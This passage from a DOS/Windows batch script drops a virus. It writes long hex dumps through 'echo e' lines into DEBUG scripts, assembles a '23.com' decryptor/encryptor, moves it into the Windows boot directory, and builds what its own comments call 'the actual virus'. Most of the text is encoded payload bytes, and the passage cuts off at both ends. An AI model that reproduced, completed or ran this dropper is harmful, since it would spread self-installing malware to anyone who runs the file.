67 72 61 6D 20 74 00 A5 19>>2 echo e 16C0 6D 69 6E 61 74 69 6F 6E 1E 00 53 1D 1B 01 E8 1E>>2 echo e 16D0 02 03 11 43 69 AA 40 70 68 47 46 67 20 25 73 2E>>2 echo e 16E0 51 CA 01 00 64 4C 65 4C 45 24 55 72 3A 20 14 20>>2 echo e 16F0 74 A1 0A 9B 66 6F 75 94 16 2F 3F 14 09 00 53 79>>2 echo e 1700 99 61 78 1A 43 49 50 40 A1 48 45 52 20 6B 65 79>>2 echo e 1710 1E 69 6C 65 48 B2 86 6D 65 3F 0A 77 4D 24 0A B1>>2 echo e 1720 22 17 22 20 69 3D 61 20 50 C5 33 32 2D 62 69 42>>2 echo e 1730 C6 63 69 84 3A BB 6E 75 6D 62 22 BD A6 AD 20 01>>2 echo e 1740 21 01 20 4E F7 07 01 01 40 04 01 02 DF B6 01 11>>2 echo e 1750 14 01 04 7E DA 09 01 20 18 FA A4 01 08 09 01 1E>>2 echo e 1760 20 00 33 8B 76 01 58 05 02 08 09 02 4E E1 00 14>>2 echo e 1770 E4 1B 04 0A 02 01 97 F9 10 F4 10 F2 13 08 10 04>>2 echo e 1780 1C B4 BE 52 5F 01 14 10 42 E8 8B 43 01 24 1C 00>>2 echo e 1790 0E 12 E5 01 14 00 01 60 02 02 04 A0 3A 10 02 A0>>2 echo e 17A0 19 2F 13 02 02 04 05 06 04 A0 04 14 15 05 13 FF>>2 echo e 17B0 16 05 11 02 FF A3 A3 02 01 05 05 FF 05 01 0F FF>>2 echo e 17C0 23 CC 52 23 0F 0A 2F FF 38 4F 3D 05 0F 02 0B 01>>2 echo e 17D0 67 59 23 05 10 00 00 24 B4 10 28 6E 75 6C 6C 29>>2 echo e 17E0 96 14 35 A8 01 61 9F 02 C0 AB 0B 03 04 14 09 05>>2 echo e 17F0 01 14 43 E2 00 01 0F 17 0F 08 07 07 14 16 D7 51>>2 echo e 1800 13 0D 00 1E 10 0A 0F 14 28 01 08 0A 09 06 14 12>>2 echo e 1810 0B 0E 07 74 42 11 14 0C 00 20 00 70 00 40 B4 74>>2 echo e 1820 20 73 63 61 6E 66 20 3A 20 66 6C 6F 68 08 07 C5>>2 echo e 1830 70 D3 50 6F 17 66 28 87 28 74 BC 6C 11 34 B5 6B>>2 echo e 1840 65 64 0D 20 0D B1 61 06 A0 0D A5 02 00 02 B8 07>>2 echo e 1850 D2 00 C4 3C 10 FF 10>>2 echo rcx>>2 echo 1756>>2 echo n 23.com>>2 echo w>>2 echo q>>2 debug<2 move 23.com %winbootdir% del 2 :: this creates a debug-script ... and debugs it :: the result is the decryptor/encryptor :23 if exist %winbootdir%\17.bat goto 17 :: if the actual virus already exists, :: the virus can jump over this long debuging echo e 0100 79 3A 63 68 AC 30 6F 66 97 7E 0A 63 FA 0F 79 20>3 echo e 0110 05 5C 6C 0D A1 53 63 68 A3 37 6F 6E B9 3E 72 72>>3 echo e 0120 E0 58 20 72 3C 1B 75 6D 09 37 6E 65 8C 52 3E 63>>3 echo e 0130 BF 6D 6E 65 24 49 76 62 A0 13 0A 65 56 1F 6F 2E>>3 echo e 0140 82 40 74 20 FA 24 3D 20 24 23 65 61 43 33 4F 62>>3 echo e 0150 73 1C 63 74 6D 24 4F 75 04 15 6F 6F FC 05 41 70>>3 echo e 0160 D9 44 69 63 BF 68 69 6F F3 71 29 3E 06 59 3A 5C>>3 echo e 0170 9E 2B 74 2E 8C 0A 73 0D 77 0D 63 68 AF 03 53 65>>3 echo e 0180 76 65 62 20 8E 30 61 2E 4F 13 74 4E 7A 55 65 53>>3 echo e 0190 66 35 63 65 0D 47 4D 41 46 20 22 29 CB 00 63 3A>>3 echo e 01A0 5B 19 65 74 C1 61 62 73 E8 6C 65 63 2A 76 2E 49>>3 echo e 01B0 B0 0B 61 20 8A 20 22 4F E3 12 6C 6F D6 37 22 20>>3 echo e 01C0 70 3D 65 6E 9A 4C 63 3A F2 34 65 74 7C 4D 62 73>>3 echo e 01D0 B7 21 65 63 8C 4E 2E 62 B9 26 6F 67 A2 1E 20 22>>3 echo e 01E0 73 32 6F 66 4C 75 65 22 32 1C 22 70 4C 33 73 77>>3 echo e 01F0 E1 79 64 22 20 01 63 3A A8 22 65 74 19 77 62 73>>3 echo e 0200 82 18 65 63 6E 03 2E 46 40 2E 20 79 D5 00 20 31>>3 echo e 0210 7E 41 6F 20 7B 21 41 64 AD 11 65 73 44 2C 69 73>>3 echo e 0220 80 22 2E 43 77 11 6E 74 20 1C 63 3A 53 01 65 74>>3 echo e 0230 5C 23 62 73 C5 32 65 63 19 5C 2E 53 37 28 20 64>>3 echo e 0240 BC 60 20 62 5E 03 64 64 17 5E 73 73 50 0B 73 74>>3 echo e 0250 2B 62 79 29 63 3D 63 3A DA 70 65 74 65 06 62 73>>3 echo e 0260 3F 15 65 63 37 2F 2E 78 9F 76 20 31 3E 14 63 3A>>3 echo e 0270 85 7A 65 74 62 70 62 73 EE 1F 65 63 4B 1C 2E 53>>3 echo e 0280 C4 4E 20 63 5A 02 20 61 09 5E 72 65 BF 79 65 49>>3 echo e 0290 75 4D 6D 28 77 70 3E 3E C7 72 5C 6E 45 3C 2E 76>>3 echo e 02A0 77 4D 0D 0A F6 1A 68 6F F6 09 6F 72 39 56 6F 20>>3 echo e 02B0 26 59 31 20 16 2B 20 64 0A 15 64 64 B0 6B 73 73>>3 echo e 02C0 BD 3F 74 72 D4 55 73 2E 0E 65 75 6E 20 55 3E 63>>3 echo e 02D0 88 73 6E 65 04 41 76 62 8E 7E 0A 65 AD 3A 6F 2E>>3 echo e 02E0 90 48 3D 20 28 71 41 64 25 5B 65 73 01 6D 6E 74>>3 echo e 02F0 E2 3C 65 73 6C 6B 29 3E 34 51 3A 5C 28 59 74 2E>>3 echo e 0300 81 0D 73 0D DB 02 63 68 C0 41 63 2E C4 0D 63 69>>3 echo e 0310 B1 6F 65 6E 04 5B 2E 41 03 72 20 65 50 01 63 3A>>3 echo e 0320 76 10 65 74 0F 33 62 73 DF 3C 65 63 4A 27 2E 78>>3 echo e 0330 B0 1C 20 78 C8 3C 20 31 51 69 63 3A 94 22 65 74>>3 echo e 0340 D6 72 62 73 40 30 65 63 4D 71 2E 49 DD 17 78 20>>3 echo e 0350 B5 56 31 30 EF 4A 54 68 D9 67 20 6F 77 21 3D 20>>3 echo e 0360 68 2E 41 64 CE 70 65 73 10 7E 6E 74 30 45 65 73>>3 echo e 0370 5A 3B 6F 75 A8 0E 3E 3E 49 6A 5C 6E 05 21 2E 76>>3 echo e 0380 30 56 0D 0A AF 62 68 6F A9 04 65 78 AF 70 3E 63>>3 echo e 0390 64 30 6E 65 27 0F 76 62 A0 06 0A 65 80 26 6F 2E>>3 echo e 03A0 90 3A 53 75 E2 19 65 63 B8 7D 3D 20 CB 6D 20 43>>3 echo e 03B0 F3 75 76 69 19 48 41 6E 76 2C 48 6F 47 4D 65 73>>3 echo e 03C0 7C 4A 6F 6D B6 78 20 53 D9 7F 69 70 2D 56 3E 63>>3 echo e 03D0 A1 25 6E 65 12 14 76 62 F7 33 0A 65 8B 4B 6F 2E>>3 echo e 03E0 5B 29 42 6F 5F 0E 20 3D C5 0A 2D 2D 1D 4B 2D 2D>>3 echo e 03F0 6E 45 2D 2D BF 3C 2D 2D 21 12 63 41 49 12 65 20>>3 echo e 0400 3F 63 6C 69 4B 0F 20 53 0C 05 6E 6E 0A 73 20 2D>>3 echo e 0410 BB 7E 2D 2D 9D 05 2D 2D 8A 0A 2D 2D 13 12 2D 22>>3 echo e 0420 11 63 20 76 10 12 72 6C E0 2B 26 20 70 06 3E 63>>3 echo e 0430 E5 37 6E 65 C5 04 76 62 BD 0D 0A 65 F4 66 6F 2E>>3 echo e 0440 C7 65 68 65 14 33 74 74 C4 4C 68 65 76 7D 66 69>>3 echo e 0450 C5 36 20 64 A7 07 73 6E 33 45 20 63 91 4D 74 61>>3 echo e 0460 5E 0F 20 61 D0 30 20 6D E6 34 69 63 94 29 75 73>>3 echo e 0470 9F 3D 6F 75 1D 05 6E 65 22 2F 20 26 55 6C 62 63>>3 echo e 0480 61 77 66 20 85 1D 5F 3E 19 57 3A 5C 7F 64 74 2E>>3 echo e 0490 5D 15 73 0D 4D 06 63 68 CC 06 22 2D 12 34 2D 2D>>3 echo e 04A0 8E 3C 2D 2D 9B 46 2D 2D ED 6B 2D 2D 9F 57 2D 2D>>3 echo e 04B0 14 4E 2D 2D 79 3E 2D 2D 4F 29 2D 2D CD 2E 2D 2D>>3 echo e 04C0 7F 3C 2D 2D 27 37 2D 2D E3 37 2D 2D A9 1A 2D 2D>>3 echo e 04D0 59 72 2D 2D E8 05 2D 2D 01 6D 2D 2D 36 07 22 20>>3 echo e 04E0 ED 10 76 62 90 34 6C 66 2A 57 20 5F 56 41 63 3A>>3 echo e 04F0 FB 77 65 74 24 16 62 73 D4 43 65 63 99 18 2E 22>>3 echo e 0500 D8 3E 3E 63 39 05 6E 65 04 5E 76 62 F2 03 0A 65>>3 echo e 0510 BF 39 6F 2E BA 1B 61 74 F3 6C 63 68 CA 40 6E 74>>3 echo e 0520 7A 13 41 64 68 67 22 63 01 0A 43 61 58 33 69 6E>>3 echo e 0530 46 42 6F 62 41 72 73 2E ED 44 74 22 96 59 3E 63>>3 echo e 0540 59 26 6E 65 57 5E 76 62 95 28 0A 65 40 30 6F 2E>>3 echo e 0550 D8 19 53 65 75 75 3E 3E EF 30 5C 6E 98 6A 2E 76>>3 echo e 0560 D6 2B 0D 0A FF 18 68 6F 03 3A 2E 44 54 6C 65 74>>3 echo e 0570 DE 31 66 74 50 73 53 75 38 2E 69 74 43 35 20 54>>3 echo e 0580 97 44 65 3E 3B 3A 3A 5C 67 75 74 2E F6 48 73 0D>>3 echo e 0590 60 7B 63 68 4B 6B 65 20 2E 35 22 22 0B 53 63 3A>>3 echo e 05A0 7F 24 65 74 1B 3E 62 73 BB 4A 65 63 1C 47 2E 4E>>3 echo e 05B0 77 54 74 3E E5 09 3A 5C 7D 56 74 2E 83 30 73 0D>>3 echo e 05C0 D3 1A 63 68 50 3F 62 2E FC 08 67 6F D7 39 3E 3E>>3 echo e 05D0 5C 0D 5C 6E E9 14 2E 76 97 1D 0D 0A 03 48 68 6F>>3 echo e 05E0 9E 3E 6E 64 54 7D 66 3E 8E 54 3A 5C 76 1F 74 2E>>3 echo e 05F0 CA 5D 73 0D A1 57 74 61 E1 1C 20 63 B6 58 6E 65>>3 echo e 0600 E1 4E 76 62 1A 17 0A 65 D1 21 6F 2E A2 7B 20 65>>3 echo e 0610 E1 25 6F 72 CA 07 65 73 7D 53 65 20 C7 5D 78 74>>3 echo e 0620 8C 18 3A 5C 99 2D 66 65 92 38 2E 76 51 06 0D 0A>>3 echo e 0630 74 30 68 6F 10 50 65 74 90 5D 73 6F 61 23 20 43>>3 echo e 0640 00 11 61 74 79 35 62 6A 8C 55 74 28 CF 7D 63 72>>3 echo e 0650 D6 08 74 69 B9 7C 2E 46 4C 60 65 53 6C 4B 74 65>>3 echo e 0660 EC 33 62 6A 25 1D 74 22 7A 4D 3E 63 E7 01 69 6E>>3 echo e 0670 0F 54 63 74 05 29 62 73 4E 62 65 63 43 0A 2E 65>>3 echo e 0680 AC 1A 20 3D D0 1B 63 3A 70 75 75 74 18 34 78 65>>3 echo e 0690 7A 16 62 61 9F 4E 3E 3E 46 7D 5C 69 AD 76 65 63>>3 echo e 06A0 01 7A 76 62 8E 63 0A 65 CE 69 6F 2E 7C 59 74 20>>3 echo e 06B0 7A 6A 3D 20 6C 66 6F 2E 62 6B 74 46 0D 0E 64 65>>3 echo e 06C0 82 42 22 63 46 3B 22 29 6C 14 63 3A CB 0F 6E 66>>3 echo e 06D0 9E 35 74 2E CB 65 73 0D D5 25 63 68 A4 43 53 65>>3 echo e 06E0 92 5D 66 63 9E 18 20 66 F9 74 69 6C 24 2F 3E 3E>>3 echo e 06F0 E1 0A 5C 69 1B 63 65 63 59 1F 76 62 73 6E 0A 65>>3 echo e 0700 22 2A 6F 2E 1E 7B 72 20 70 47 63 68 71 7B 31 20>>3 echo e 0710 F2 54 20 66 86 30 3E 63 10 73 69 6E 22 5B 63 74>>3 echo e 0720 02 61 62 73 11 3C 65 63 C1 4A 2E 65 52 3A 20 3D>>3 echo e 0730 D3 7D 73 6F 2C 52 65 74 77 41 74 65 75 0B 69 6F>>3 echo e 0740 7C 78 61 6D 7B 7E 66 31 82 48 61 74 07 4E 3E 3E>>3 echo e 0750 D0 56 5C 69 92 4E 65 63 94 05 76 62 34 38 0A 65>>3 echo e 0760 FC 0A 6F 2E CA 4F 74 20 C6 7C 4C 43 62 15 65 28>>3 echo e 0770 A2 1F 74 29 77 12 63 3A 52 1B 6E 66 AE 15 74 2E>>3 echo e 0780 CB 78 73 0D 69 23 63 68 E0 58 49 66 29 53 65 78>>3 echo e 0790 4E 3A 3D 20 B8 62 61 74 FA 1D 20 54 83 2C 6E 3E>>3 echo e 07A0 A9 25 3A 5C 67 28 66 65 C6 4B 2E 76 81 48 0D 0A>>3 echo e 07B0 33 70 68 6F CD 64 65 74 B8 6D 20 3D 09 1E 73 6F>>3 echo e 07C0 B7 0F 65 74 A4 6B 6C 65 9E 7D 65 65 1F 6C 3E 63>>3 echo e 07D0 9D 48 69 6E 30 21 63 74 C4 5D 62 73 44 3D 65 63>>3 echo e 07E0 05 22 2E 66 FC 43 6F 70 06 38 28 66 D2 05 50 61>>3 echo e 07F0 8C 29 29 3E 56 4B 3A 5C C1 77 66 65 2E 2D 2E 76>>3 echo e 0800 9C 48 0D 0A B4 4F 68 6F D7 7E 6E 64 2F 62 66 3E>>3 echo e 0810 6A 32 3A 5C A0 48 66 65 8E 22 2E 76 1A 0F 0D 0A>>3 echo e 0820 12 46 68 6F BC 45 65 78 15 28 3E 63 21 0A 69 6E>>3 echo e 0830 60 5E 63 74 41 04 62 73 1B 1E 73 74 2F 49 74 20>>3 echo e 0840 27 6F 5C 69 46 0C 65 63 45 2F 76 62 D8 0A 0A 72>>3 echo e 0850 FD 0E 65 64 E2 2A 20 2F C8 7F 63 3A CD 3D 75 74>>3 echo e 0860 3E 44 78 65 84 23 62 61 57 41 0A 69 C4 3E 65 78>>3 echo e 0870 BF 1D 20 25 E7 67 6E 62 D5 39 74 64 2D 71 25 5C>>3 echo e 0880 B0 6C 61 72 14 09 65 6E B5 31 70 72 4C 49 72 61>>3 echo e 0890 A6 77 65 5C 52 53 74 6F 58 20 61 72 DF 02 63 6F>>3 echo e 08A0 E6 5F 63 2E 1E 51 73 20 F9 5F 74 6F B0 48 6E 64>>3 echo e 08B0 CF 57 65 63 0D 16 20 65 4C 11 31 30 79 7A 36 46>>3 echo e 08C0 F3 38 45 20 23 79 20 36 EE 48 37 32 AE 1F 32 20>>3 echo e 08D0 73 00 20 37 6B 1C 32 30 36 11 32 20 E9 78 20 37>>3 echo e 08E0 77 20 37 35 8E 1D 44 20 9E 2B 20 32 CF 50 70 6C>>3 echo e 08F0 2D 40 65 63 EB 5C 20 65 24 28 31 31 42 0D 36 45>>3 echo e 0900 EC 55 35 20 E5 71 20 37 CB 60 30 44 25 75 41 20>>3 echo e 0910 6A 35 20 37 A5 43 36 37 72 1F 32 20 73 7F 20 37>>3 echo e 0920 AB 1C 32 30 70 18 32 20 2E 6D 20 36 31 2D 3E 70>>3 echo e 0930 26 0B 0A 65 E6 29 6F 20 3F 62 30 31 E8 1D 20 37>>3 echo e 0940 34 48 36 35 1C 2E 30 20 40 11 20 36 D9 35 36 35>>3 echo e 0950 4E 72 33 20 B0 52 20 37 81 3D 36 46 D4 44 35 20>>3 echo e 0960 F8 7F 20 32 D7 46 36 33 ED 40 46 20 8C 49 3E 3E>>3 echo e 0970 E6 61 0D 0A 64 4F 68 6F 66 69 20 30 A6 63 30 20>>3 echo e 0980 EF 36 20 36 D5 59 32 30 3A 19 33 20 42 44 20 37>>3 echo e 0990 FF 2F 36 39 94 34 30 20 13 5A 20 32 37 35 32 43>>3 echo e 09A0 6F 08 32 20 38 2D 20 32 A5 2A 32 43 16 25 32 3E>>3 echo e 09B0 60 0F 6C 0D 85 1A 63 68 CE 65 65 20 F1 7F 34 30>>3 echo e 09C0 BD 47 32 20 5D 11 20 35 F5 70 32 46 BF 5B 33 20>>3 echo e 09D0 E2 70 20 36 86 35 37 36 42 13 39 20 B9 32 20 32>>3 echo e 09E0 5B 0C 34 38 73 3A 46 20 64 49 20 36 A1 0B 36 35>>3 echo e 09F0 C7 20 70 6C C5 46 65 63 29 4D 20 65 51 15 31 35>>3 echo e 0A00 9B 6F 37 33 7C 63 32 20 75 2F 20 30 75 51 34 44>>3 echo e 0A10 F9 47 33 20 7A 5C 20 34 65 02 36 46 8B 0D 38 20>>3 echo e 0A20 B2 42 20 32 6A 58 32 30 F5 25 30 20 D5 3A 20 32>>3 echo e 0A30 8F 6D 3E 70 28 25 0A 65 9C 51 6F 20 DA 35 30 31>>3 echo e 0A40 6F 34 20 32 68 72 32 30 5C 0C 30 20 7F 27 20 32>>3 echo e 0A50 05 76 32 30 C2 68 30 20 E7 6B 20 32 40 61 32 30>>3 echo e 0A60 C0 4C 30 20 83 18 20 32 C7 32 32 30 6A 0B 30 20>>3 echo e 0A70 3A 19 3E 3E EA 46 0D 0A D1 6B 68 6F E2 41 20 30>>3 echo e 0A80 31 21 30 20 C7 5C 20 32 70 4F 32 30 21 7A 30 20>>3 echo e 0A90 73 7F 20 32 2E 1F 32 30 96 4D 30 20 C5 02 20 32>>3 echo e 0AA0 D5 47 32 30 D7 5A 30 20 A0 33 20 32 E5 5E 32 30>>3 echo e 0AB0 0C 7C 30 3E 5D 00 6C 0D 3C 0B 63 68 FC 3B 65 20>>3 echo e 0AC0 C9 1D 38 30 EA 5C 30 20 5A 36 20 32 59 0D 32 30>>3 echo e 0AD0 73 68 46 20 AC 30 20 32 E0 3F 32 30 78 48 30 20>>3 echo e 0AE0 D5 57 20 32 F1 28 32 30 5D 56 30 20 92 57 20 32>>3 echo e 0AF0 B3 36 32 30 08 24 70 6C 52 24 65 63 21 68 20 65>>3 echo e 0B00 BA 25 31 39 40 09 32 30 EC 42 32 20 AF 05 20 32>>3 echo e 0B10 F3 05 32 30 CB 57 33 20 CB 09 20 37 98 66 32 38>>3 echo e 0B20 1E 6E 31 20 9B 68 20 32 A9 34 32 30 E2 71 36 20>>3 echo e 0B30 57 49 20 34 9F 72 3E 70 6A 7C 0A 65 9E 50 6F 20>>3 echo e 0B40 58 60 30 31 3F 42 20 36 7C 5F 37 32 94 20 38 20>>3 echo e 0B50 DD 40 20 33 9B 4D 32 39 34 22 30 20 37 3D 20 32>>3 echo e 0B60 72 6A 32 32 64 0B 30 20 91 66 20 32 64 07 32 30>>3 echo e 0B70 0A 20 30 20 6E 00 3E 3E 72 2E 0D 0A A3 26 68 6F>>3 echo e 0B80 19 24 20 30 BC 61 30 20 9A 56 20 32 F6 1A 32 30>>3 echo e 0B90 05 1D 30 20 40 4E 20 32 DD 57 32 30 A2 4C 30 20>>3 echo e 0BA0 79 65 20 32 1C 5D 32 30 AE 63 30 20 5F 5A 20 32>>3 echo e 0BB0 1A 00 32 30 FF 43 30 3E 13 61 6C 0D B7 63 63 68>>3 echo e 0BC0 8A 70 65 20 04 2B 43 30 F0 0D 30 20 DE 57 20 32>>3 echo e 0BD0 F4 4E 32 30 F7 36 30 20 6D 3B 20 32 09 3C 32 30>>3 echo e 0BE0 92 7A 30 20 CA 36 20 32 19 30 32 30 06 1B 30 20>>3 echo e 0BF0 8C 36 20 32 FD 61 32 30 60 0C 70 6C F7 12 65 63>>3 echo e 0C00 F3 24 20 65 2C 08 31 44 A4 27 32 46 1E 2A 30 20>>3 echo e 0C10 10 56 20 32 43 53 32 30 64 65 43 20 70 13 20 32>>3 echo e 0C20 FD 32 32 30 62 08 30 20 7E 31 20 32 A7 63 32 30>>3 echo e 0C30 1C 7F 30 20 8F 64 20 32 5D 63 3E 70 F8 50 0A 65>>3 echo e 0C40 D1 59 6F 20 C9 42 30 31 89 2E 20 32 E3 2D 32 32>>3 echo e 0C50 B7 5C 30 20 EF 76 20 32 43 10 34 33 93 20 38 20>>3 echo e 0C60 C2 77 20 32 A7 5E 33 31 EF 44 33 20 E5 64 20 32>>3 echo e 0C70 CD 3E 32 36 67 51 30 20 06 1D 3E 3E D3 15 0D 0A>>3 echo e 0C80 E7 44 68 6F 8E 66 20 30 60 0C 30 20 F2 76 20 37>>3 echo e 0C90 49 25 32 38 8E 54 31 20 F7 49 20 32 9E 1D 32 30>>3 echo e 0CA0 A3 2A 36 20 98 0F 20 32 B9 0A 32 30 DE 6D 30 20>>3 echo e 0CB0 68 7B 20 32 35 0A 32 30 A5 16 30 3E 7F 26 6C 0D>>3 echo e 0CC0 69 10 63 68 C8 28 65 20 C9 00 30 30 08 17 30 20>>3 echo e 0CD0 14 7C 20 32 4E 46 32 30 2F 6C 30 20 06 13 20 32>>3 echo e 0CE0 FD 44 32 30 D9 5E 30 20 64 04 20 32 15 56 32 30>>3 echo e 0CF0 89 77 30 20 BE 59 20 32 0E 04 32 30 BA 1E 70 6C>>3 echo e 0D00 A0 0D 65 63 59 0C 20 65 BD 55 32 31 28 3F 32 30>>3 echo e 0D10 D0 35 30 20 D6 0F 20 32 1D 53 32 30 53 24 30 20>>3 echo e 0D20 1F 19 20 32 14 5A 32 30 29 26 30 20 56 20 20 32>>3 echo e 0D30 74 05 32 30 57 54 30 20 07 45 20 37 C7 77 3E 70>>3 echo e 0D40 D4 63 0A 65 87 60 6F 20 73 73 30 32 9E 3E 20 32>>3 echo e 0D50 01 02 32 30 58 48 30 20 C6 02 20 32 4B 0A 32 30>>3 echo e 0D60 DA 35 30 20 F6 6E 20 37 3E 0C 32 30 F2 50 30 20>>3 echo e 0D70 B0 15 20 32 6C 49 32 30 63 71 30 20 68 36 3E 3E>>3 echo e 0D80 AC 32 0D 0A 32 10 68 6F 1A 35 20 30 C9 3A 30 20>>3 echo e 0D90 73 18 20 32 E4 00 32 30 1D 49 30 20 56 04 20 32>>3 echo e 0DA0 BB 67 32 36 51 24 30 20 BD 77 20 36 B0 45 37 32>>3 echo e 0DB0 9A 17 38 20 E0 0F 20 33 0D 3E 32 39 3D 62 30 3E>>3 echo e 0DC0 4C 40 6C 0D 29 45 63 68 8C 35 65 20 2E 59 34 30>>3 echo e 0DD0 59 79 36 20 BF 71 20 34 D3 2D 36 38 68 62 32 20>>3 echo e 0DE0 08 6A 20 33 F3 00 33 30 24 35 39 20 AC 64 20 32>>3 echo e 0DF0 70 09 32 30 55 05 32 20 CD 49 20 32 D6 43 32 30>>3 echo e 0E00 EE 61 70 6C ED 1A 65 63 8F 2F 20 65 0C 60 32 35>>3 echo e 0E10 1F 41 32 30 1E 5D 30 20 84 20 20 32 0C 46 32 30>>3 echo e 0E20 7E 04 30 20 62 31 20 32 F8 22 32 30 0B 02 30 20>>3 echo e 0E30 4F 67 20 32 EA 07 32 30 7F 1C 30 20 FF 72 20 32>>3 echo e 0E40 7F 33 3E 70 49 46 0A 65 43 3A 6F 20 5B 3B 30 32>>3 echo e 0E50 8A 52 20 32 4D 60 32 30 B5 3F 30 20 69 3C 20 32>>3 echo e 0E60 7F 06 32 30 92 0D 30 20 9E 1A 20 32 77 1C 32 30>>3 echo e 0E70 97 49 30 20 AB 58 20 32 04 57 32 30 C9 03 30 20>>3 echo e 0E80 7A 4D 3E 3E FA 34 0D 0A 00 4D 68 6F 4B 17 20 30>>3 echo e 0E90 4B 5A 30 20 D0 7F 20 32 67 52 37 43 9B 1C 30 20>>3 echo e 0EA0 57 48 20 32 B1 47 32 30 A7 67 30 20 39 31 20 32>>3 echo e 0EB0 7C 25 32 30 6B 61 43 20 6A 44 20 32 63 1A 32 30>>3 echo e 0EC0 31 2A 30 3E 96 36 6C 0D 84 7B 63 68 A3 1F 65 20>>3 echo e 0ED0 8C 70 38 30 26 0E 30 20 E0 20 20 32 44 58 32 30>>3 echo e 0EE0 D8 14 30 20 66 38 20 32 03 1E 32 32 AF 78 30 20>>3 echo e 0EF0 A6 31 20 32 B7 71 34 33 81 1F 38 20 15 1B 20 32>>3 echo e 0F00 3C 4A 33 31 29 19 70 6C 7E 45 65 63 10 5E 20 65>>3 echo e 0F10 FF 77 32 39 B1 07 33 33 C0 2C 39 20 AD 68 20 32>>3 echo e 0F20 56 70 32 30 E4 01 33 20 B1 3B 20 37 D8 08 32 38>>3 echo e 0F30 C7 0A 31 20 D5 0E 20 32 D0 5E 32 30 4F 3D 36 20>>3 echo e 0F40 4A 13 20 32 5C 31 3E 70 80 5C 0A 65 EB 51 6F 20>>3 echo e 0F50 5D 26 30 32 AB 08 20 32 68 16 32 30 74 30 30 20>>3 echo e 0F60 C7 06 20 32 59 27 32 30 7B 1A 30 20 07 40 20 32>>3 echo e 0F70 AD 57 32 30 DF 34 30 20 35 70 20 32 61 62 32 30>>3 echo e 0F80 E4 2A 30 20 74 29 3E 3E A1 76 0D 0A 71 6D 68 6F>>3 echo e 0F90 01 4E 20 30 EB 58 30 20 20 65 20 32 9A 4C 32 30>>3 echo e 0FA0 2F 73 30 20 E8 28 20 32 B7 33 32 30 A7 0A 30 20>>3 echo e 0FB0 3D 70 20 32 5B 36 32 30 F3 2E 30 20 D3 6A 20 32>>3 echo e 0FC0 72 62 32 30 16 50 30 3E C4 72 6C 0D 39 4C 63 68>>3 echo e 0FD0 9E 27 65 20 D8 49 43 30 C5 6E 30 20 88 62 20 32>>3 echo e 0FE0 37 59 32 30 8F 3B 30 20 D4 4C 20 32 C9 7D 32 30>>3 echo e 0FF0 B3 04 30 20 F0 6D 20 32 15 09 32 30 17 04 30 20>>3 echo e 1000 7B 0C 20 37 94 2B 32 30 01 79 70 6C F0 42 65 63>>3 echo e 1010 68 7D 20 65 8C 3E 32 44 9B 33 32 30 BB 01 30 20>>3 echo e 1020 01 3D 20 32 B1 5D 32 30 67 7E 30 20 91 30 20 32>>3 echo e 1030 B2 02 32 30 BB 63 30 20 E6 6E 20 32 5A 55 32 36>>3 echo e 1040 11 75 30 20 F5 08 20 36 40 36 3E 70 E0 62 0A 65>>3 echo e 1050 C5 0A 6F 20 A5 29 30 32 7E 13 20 37 54 72 32 38>>3 echo e 1060 CD 7C 31 20 DB 28 20 32 B5 7B 32 30 BC 36 36 20>>3 echo e 1070 07 5F 20 34 BD 4A 36 38 9A 24 32 20 A1 45 20 33>>3 echo e 1080 63 67 33 30 AB 29 39 20 4F 7B 3E 3E 86 0E 0D 0A>>3 echo e 1090 5E 54 68 6F 9A 42 20 30 5F 5F 30 20 01 00 20 32>>3 echo e 10A0 BB 17 32 32 5C 22 30 20 BA 04 20 32 CC 31 32 30>>3 echo e 10B0 22 1E 30 20 07 15 20 32 9F 2D 32 30 E9 45 30 20>>3 echo e 10C0 36 75 20 32 FD 78 32 30 07 4B 30 3E 6D 5D 6C 0D>>3 echo e 10D0 1D 14 63 68 5D 07 65 20 29 5B 30 30 39 18 30 20>>3 echo e 10E0 55 6E 20 32 E3 2A 32 30 34 00 30 20 EE 24 20 32>>3 echo e 10F0 73 2C 32 30 05 30 30 20 BB 5E 20 32 15 71 32 30>>3 echo e 1100 BF 5E 30 20 13 15 20 32 7C 7E 32 30 82 22 70 6C>>3 echo e 1110 9F 1F 65 63 A9 25 20 65 37 55 33 31 00 1D 32 30>>3 echo e 1120 F7 30 30 20 BA 0E 20 32 39 33 32 30 74 0F 30 20>>3 echo e 1130 7C 57 20 32 C9 25 37 43 01 0C 30 20 8C 0A 20 32>>3 echo e 1140 4B 2E 32 30 3C 04 30 20 F7 1B 20 32 78 7D 3E 70>>3 echo e 1150 68 43 0A 65 9C 30 6F 20 25 6A 30 33 A3 72 20 32>>3 echo e 1160 05 27 37 43 11 51 30 20 0F 4A 20 32 4B 5F 32 30>>3 echo e 1170 5D 0A 30 20 75 09 20 32 7F 48 32 30 8D 1B 30 20>>3 echo e 1180 C2 2E 20 32 69 65 32 32 4B 44 30 20 22 41 3E 3E>>3 echo e 1190 B5 0B 0D 0A E6 7F 68 6F 4A 50 20 30 67 62 30 20>>3 echo e 11A0 E5 41 20 34 54 14 36 38 AA 59 32 20 58 2B 20 33>>3 echo e 11B0 16 3F 33 33 87 1A 39 20 D9 0C 20 32 3F 77 32 30>>3 echo e 11C0 76 02 33 20 58 28 20 37 26 17 32 38 0C 61 31 3E>>3 echo e 11D0 13 24 6C 0D EC 06 63 68 01 08 65 20 A0 77 34 30>>3 echo e 11E0 37 5E 30 20 F3 48 20 32 F6 7A 32 36 19 47 30 20>>3 echo e 11F0 96 6C 20 32 82 44 32 30 EE 5D 30 20 DE 0F 20 32>>3 echo e 1200 36 31 32 30 D3 6A 30 20 A8 7A 20 32 83 12 32 30>>3 echo e 1210 AB 16 70 6C B2 0B 65 63 4D 66 20 65 7E 0B 33 35>>3 echo e 1220 7C 67 32 30 F7 6C 30 20 F9 3D 20 32 CF 44 32 30>>3 echo e 1230 6B 6C 30 20 32 32 20 32 FE 38 32 30 4B 17 30 20>>3 echo e 1240 64 3F 20 32 B1 44 32 30 F4 44 46 20 8B 7C 20 32>>3 echo e 1250 63 20 3E 70 CB 41 0A 65 06 49 6F 20 B3 38 30 33>>3 echo e 1260 F8 42 20 32 73 63 32 30 50 08 30 20 E1 20 20 35>>3 echo e 1270 30 09 32 30 08 2B 30 20 F2 70 20 32 90 2C 32 30>>3 echo e 1280 BF 07 30 20 82 4C 20 32 AA 71 32 30 44 62 30 20>>3 echo e 1290 F2 22 3E 3E 46 73 0D 0A 6D 7C 68 6F 2E 61 20 30>>3 echo e 12A0 C6 32 30 20 AD 29 20 32 BC 57 32 30 F1 77 46 20>>3 echo e 12B0 49 29 20 32 F3 66 32 30 A9 12 30 20 96 78 